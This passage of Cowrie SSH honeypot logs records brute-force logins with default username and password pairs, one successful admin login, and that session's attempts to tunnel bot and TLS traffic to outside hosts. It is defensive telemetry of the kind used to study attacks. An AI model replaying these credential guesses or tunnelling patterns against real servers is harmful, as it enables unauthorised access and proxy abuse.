{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:01.277107Z","src_ip":"45.153.34.195","session":"81222666e66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:02.466756Z","src_ip":"45.153.34.195","session":"81222666e66a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58625,"dst_ip":"10.17.0.5","dst_port":22,"session":"12cf26da837e","protocol":"ssh","message":"New connection: 123.27.168.40:58625 (10.17.0.5:22) [session: 12cf26da837e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:02.570243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:02.577436Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:02.833638Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44568,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d531cac330","protocol":"ssh","message":"New connection: 45.153.34.195:44568 (10.17.0.5:22) [session: 02d531cac330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:03.638574Z"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:03.654972Z","src_ip":"91.92.40.36","session":"54ba505b4d07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:03.668679Z","src_ip":"45.153.34.195","session":"02d531cac330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:03.751801Z","src_ip":"45.153.34.195","session":"02d531cac330","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:03.925393Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14452,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfda924246b2","protocol":"ssh","message":"New connection: 91.92.40.36:14452 (159.203.135.109:22) [session: bfda924246b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.073452Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.284553Z","src_ip":"45.153.34.195","session":"02d531cac330","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.302908Z","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.464975Z","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.577210Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/68.0 Mobile/15C153 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1166\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VWFjbispNGRjP3VLXlpWJQ%3D%3DT3H3sjFEaF1WvVsYv3AfO8Q3%2BLTi%2Fo%2FcFgM1P%2FEpFiWi%2B1VmG96CA5of7hdnCdY%2BYkryFo5a21W7FsTDiwjQkcNAUpO0i0EOjMSItY8iehO%2BH35SzEeDaUKy3pUsSEMPVuAB1fRDkKgHC5Gx4J5ot7FVby0csPIV95c%2BIc%2BJ3R22PGoTccpRNp6ozzBikWe2NfczHTH1CQ4g3qdge8olg%2BgQqhqv%2FUlOmmEClfq%2FlgS8lXHoRnykMazFuwA1pMlOVCoR%2FGV8h1FjczoxTIWDseGh0UDViaZjjq%2FrJEloXpvJKxq4uDA7W4wFQBA%2BFe2yCc8pnK29RFS3sR%2B9Rwrg5mzi3TgxAtCCR0sTrBKp0iEqjXrGTvR90l5943uNRQ5MFHtk38C1HQavNtXkpxA4mhmiHgOYRMzSqBjHBQrUeJ5PExMD4nN1kyfshoXl%2FYZPZdjai29BWVRdbo1NKwoUl5QT4YHLgNhy5tDHTvfCnzTelcRXnR8Oluhi64Upl9xM%2F7BWCAoGnMuI0wLFrxSH6p9PX%2BOYcjG5z2H%2B4Pss%2FqCjSRst9uyWy0B8fmvskdoNGJXIKBZSBf9U0csJ4zmFbngTZhZ4cUYk4PW65J4uCptWXCv1G4j9MJboO49QXSQldk18tlrYMU5wpnSbtlp1%2BIT8x6qDTZgKw7ryu5xgr2WsDx0HzPcaLALeR2j0YEwwN8mKzI0nqBugwwmOiXb6QQxCZJB%2FMXXJdKEgs3F43vzDQ5wbfLqpSAIxoEJXk7sjtmBhnrxxlJ5kKWimWsW3r%2FYYw99yjxdOmeBZv0raD71gIiZe2X0%2BpK2a79alhEPWislDbIXRZ%2B6neSS8r70gWjTaRmhoUVUYgAQH9IixZcem69%2Fx%2Foz75TCq9Q%2F1htQQMBMXiSMSbjdRwYSdl9BMJdGVCHzntCNhrL6WkuaVp7X2r71EHOXf2aohqr1u6Wi%2Bt4T%2FVIK5FWi2%2FpZZAERWnwA80lEfg1exK2krW9%2Fd8WoVG92gBPij0Ks5q2VKy7dTiTeI8kgdsLDzwFOfWSqk5mYjAUhZ3FIkA46XyH7zmYM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/68.0 Mobile/15C153 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1166\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VWFjbispNGRjP3VLXlpWJQ%3D%3DT3H3sjFEaF1WvVsYv3AfO8Q3%2BLTi%2Fo%2FcFgM1P%2FEpFiWi%2B1VmG96CA5of7hdnCdY%2BYkryFo5a21W7FsTDiwjQkcNAUpO0i0EOjMSItY8iehO%2BH35SzEeDaUKy3pUsSEMPVuAB1fRDkKgHC5Gx4J5ot7FVby0csPIV95c%2BIc%2BJ3R22PGoTccpRNp6ozzBikWe2NfczHTH1CQ4g3qdge8olg%2BgQqhqv%2FUlOmmEClfq%2FlgS8lXHoRnykMazFuwA1pMlOVCoR%2FGV8h1FjczoxTIWDseGh0UDViaZjjq%2FrJEloXpvJKxq4uDA7W4wFQBA%2BFe2yCc8pnK29RFS3sR%2B9Rwrg5mzi3TgxAtCCR0sTrBKp0iEqjXrGTvR90l5943uNRQ5MFHtk38C1HQavNtXkpxA4mhmiHgOYRMzSqBjHBQrUeJ5PExMD4nN1kyfshoXl%2FYZPZdjai29BWVRdbo1NKwoUl5QT4YHLgNhy5tDHTvfCnzTelcRXnR8Oluhi64Upl9xM%2F7BWCAoGnMuI0wLFrxSH6p9PX%2BOYcjG5z2H%2B4Pss%2FqCjSRst9uyWy0B8fmvskdoNGJXIKBZSBf9U0csJ4zmFbngTZhZ4cUYk4PW65J4uCptWXCv1G4j9MJboO49QXSQldk18tlrYMU5wpnSbtlp1%2BIT8x6qDTZgKw7ryu5xgr2WsDx0HzPcaLALeR2j0YEwwN8mKzI0nqBugwwmOiXb6QQxCZJB%2FMXXJdKEgs3F43vzDQ5wbfLqpSAIxoEJXk7sjtmBhnrxxlJ5kKWimWsW3r%2FYYw99yjxdOmeBZv0raD71gIiZe2X0%2BpK2a79alhEPWislDbIXRZ%2B6neSS8r70gWjTaRmhoUVUYgAQH9IixZcem69%2Fx%2Foz75TCq9Q%2F1htQQMBMXiSMSbjdRwYSdl9BMJdGVCHzntCNhrL6WkuaVp7X2r71EHOXf2aohqr1u6Wi%2Bt4T%2FVIK5FWi2%2FpZZAERWnwA80lEfg1exK2krW9%2Fd8WoVG92gBPij0Ks5q2VKy7dTiTeI8kgdsLDzwFOfWSqk5mYjAUhZ3FIkA46XyH7zmYM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.581392Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.820898Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03^b\\t\\xc9i\\x0c\\xdc\\xf1HO\\x140\\xc5\\xbf\\xa6\\xbe\\x13<AA7\\xdf\\xa2/\\x12\\x9f\\x93\\xebr\\xfb\\xee\\xa2 \\xfb\\x80H\\xd6\\xa7v\\xe9k\\xc9\\xba\\x85+,\\xd1j\\n\\nE\\x8c-C\\xe3\\xabB\\x9b\\xc7\\r\\xb5\\x99\\x9cG^\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 v\\xce\\x8a\\xf6\\xe8\\xab\\x12\\xc0\\xc6=\\xc8+e\\rR\\x1f<m\\x18\\x7fl\\xe4\\xb0e\\xd08\\xd3o&\\x8a`\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03^b\\t\\xc9i\\x0c\\xdc\\xf1HO\\x140\\xc5\\xbf\\xa6\\xbe\\x13<AA7\\xdf\\xa2/\\x12\\x9f\\x93\\xebr\\xfb\\xee\\xa2 \\xfb\\x80H\\xd6\\xa7v\\xe9k\\xc9\\xba\\x85+,\\xd1j\\n\\nE\\x8c-C\\xe3\\xabB\\x9b\\xc7\\r\\xb5\\x99\\x9cG^\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 v\\xce\\x8a\\xf6\\xe8\\xab\\x12\\xc0\\xc6=\\xc8+e\\rR\\x1f<m\\x18\\x7fl\\xe4\\xb0e\\xd08\\xd3o&\\x8a`\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:04.825806Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:05.314967Z","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:05.374730Z","src_ip":"45.153.34.195","session":"02d531cac330","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:05.571661Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v\\xb1=\\x87\\x1a\\x00a\\x84b\\xef$\\x9c0\\xe8\\xce\\x80v\\xe9\\xb8\\xb6\\xcb\\xb0\\xeb\\x03\\xbb\\x19rB\\xf5.\\xe4R \\xd6z\\xc1\\xd9\\xb4p!5]\\xa0b\\xe5\\x06\\xf1\\xb7\\xe4hiQa\\x17\\xc0$\\xa5\\x01J\\xdf0\\x03o\\xa7H\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6\\xff\\xeb2\\x96\\xc5\\xdf\\xc4\\xa0\\x00\\x92\\x81\\xae\\t\\x99R%\\xd8\\xa5i\\xac9\\xdeg\\xb6\\xddp\\x9f\\xf4\\xd7A\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v\\xb1=\\x87\\x1a\\x00a\\x84b\\xef$\\x9c0\\xe8\\xce\\x80v\\xe9\\xb8\\xb6\\xcb\\xb0\\xeb\\x03\\xbb\\x19rB\\xf5.\\xe4R 